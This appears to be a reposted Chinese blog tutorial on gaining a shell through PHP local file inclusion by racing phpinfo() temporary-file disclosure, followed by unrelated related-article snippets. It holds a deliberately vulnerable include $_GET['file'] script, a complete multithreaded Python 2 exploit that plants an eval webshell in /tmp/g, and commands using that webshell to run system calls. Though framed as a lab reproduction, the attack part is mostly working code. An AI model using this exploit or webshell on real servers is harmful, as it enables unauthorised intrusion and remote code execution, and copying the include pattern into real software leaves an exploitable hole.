phpinfo包含临时文件Getshell全过程及源码

news/2024/12/2 12:56:31/

目录

前言

原理

漏洞复现

靶场环境

源码

复现过程


前言

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件,该临时文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。

原理

过程

1.发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2.phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4.操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6.利用这个时间差,发第二个数据包,即可成功包含临时文件,最终getshell

处理
PHP 对 enctype="multipart/form-data"请求的处理过程如下:
1、请求到达;
2、创建临时文件(通常是/tmp/php[6 个随机字符]),并写入上传文件的内容;
3、调用相应 PHP 脚本进行处理,如校验名称、大小等;
4、删除临时文件。
总结
php post 上传文件产生临时文件,phpinfo读临时文件的路径和名字,本地包含后生成后门

漏洞复现

靶场环境

  • kali(192.168.10.128)
  • Ubuntu(192.168.10.139)

源码

  • upload.html(kali)
<!doctype html>
<html>
<body>
<form action="http://192.168.10.139/06/phpinfo.php" method="POST"
enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
  • lfi.php(Ubuntu) 
<?php
include $_GET['file'];
?>
  • phpinfo.php(Ubuntu)
<?php
phpinfo();
?>
  • 代码测试
http://ip/06/lfi.php?file=phpinfo.php

  • py2脚本
#!/usr/bin/python 
import sys
import threading
import socketdef setup(host, port):TAG="Security Test"PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAGREQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding="A" * 5000REQ1="""POST /06/phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)#modify this to suit the LFI script   LFIREQ="""GET /06/lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt; ")fn = d[i+17:i+31]except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter=0
class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock =  lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter+=1try:x = phpInfoLFI(*self.args)if self.event.is_set():break                if x:print "\nGot it! Shell created in /tmp/g"self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d+=i        if i == "":break# detect the final chunkif i.endswith("0\r\n\r\n"):breaks.close()i = d.find("[tmp_name] =&gt; ")if i == -1:raise ValueError("No php tmp_name in phpinfo output")print "found %s at %i" % (d[i:i+10],i)# padded up a bitreturn i+256def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port=80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz=10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",  reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print "Woot!  \m/"else:print ":("except KeyboardInterrupt:print "\nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if __name__=="__main__":main()

复现过程

修改py脚本中的PHPinfo和lfi的位置,以及一句话后门的密码,在kali中用pyhton2执行脚本

python2 lfi.py 192.168.10.139 80

现在我们查询Ubuntu的/tem目录,发现后门已经生成

尝试包含

http://ip/06/lfi.php?file=/tmp/g&1=system(%27ls%20/%27);

蚁剑连接


http://www.ppmy.cn/news/29924.html

相关文章

湖州银行冲刺A股上市:计划募资约24亿元,资产质量水平较高

3月4日&#xff0c;湖州银行股份有限公司&#xff08;下称“湖州银行”&#xff09;递交招股书&#xff0c;准备在上海证券交易所主板上市。本次冲刺上市&#xff0c;湖州银行计划募资23.98亿元&#xff0c;将在扣除发行费用后全部用于补充该行资本金。 湖州银行在招股书中表示…

备战四级!!!

目录 一、替换词 二、作文常见句型 &#xff08;1&#xff09;常见开头 &#xff08;2&#xff09;阐述观点 &#xff08;3&#xff09;结束语 &#xff08;4&#xff09;提出建议 &#xff08;5&#xff09;表示论证 &#xff08;6&#xff09;给出原因 &#xff08;…

CANFDNET-200U-UDP配置与数据收发控制

一、启动ZCANPRP,打开设备管理页面&#xff0c;选择类型CANFDNET-200U-UDP,如图1 图1 二、打开设备&#xff0c;启动&#xff0c;在相应页面如图2&#xff0c;配置协议&#xff0c;CANFD 加速&#xff0c;本地端口&#xff0c;IP地址&#xff0c;工作端口。 图2 三、发送相应数…

Python基础知识——字符串、字典

字符串 在Python中&#xff0c;字符和字符串没有区别。可能有些同学学过其他的语言&#xff0c;例如Java&#xff0c;在Java中&#xff0c;单引号’a’表示字符’a’&#xff0c;双引号"abc"表示字符串"abc"&#xff0c;但在Python当中&#xff0c;它们没…

elisp简单实例: auto-save

elisp 能找一个简单又实用的代码很不容易,以下代码不是我的原创,只是结合自己的理解,添加修正了一些注释,荣誉归原作者,感谢原作者的开源精神! 调用说明: 把后面代码存为auto-save.el 在init.el 中写上 (require auto-save) 就可以了. 下面是auto-save.el 内容了. ;; 我…

计算机网络中的原码、反码、补码

写在前面 原码、反码、补码是计算机组成原理中的概念&#xff0c;是计算机网络的基础知识之一。这些概念是为了处理二进制数的符号位而引入的&#xff0c;常用于计算机中的整数运算&#xff0c;也常用于数据存储和传输等领域。因此&#xff0c;了解和掌握这些概念对于理解计算机…

leetcode_贪心算法

贪心算法相关题简单题目455.分发饼干1005.K次取反后最大化的数组和860.柠檬水找零序列问题376.摆动序列法一&#xff1a;贪心法法二&#xff1a;动态规划单调递增的数字简化版本有点难度53.最大子序和贪心算法动态规划134.加油站968.监控二叉树两个维度权衡问题分发糖果406.根据…

佛科院单片机原理2——80C51单片机结构

一、程序存储器的入口地址&#xff1a;程序入口地址&#xff1a;0000H外部中断0入口地址&#xff1a;0003H定时器0溢出中断入口地址&#xff1a;000BH外部中断1入口地址&#xff1a;00013H定时器1溢出中断入口地址&#xff1a;001BH串行口中断入口地址&#xff1a;0023H定时器2…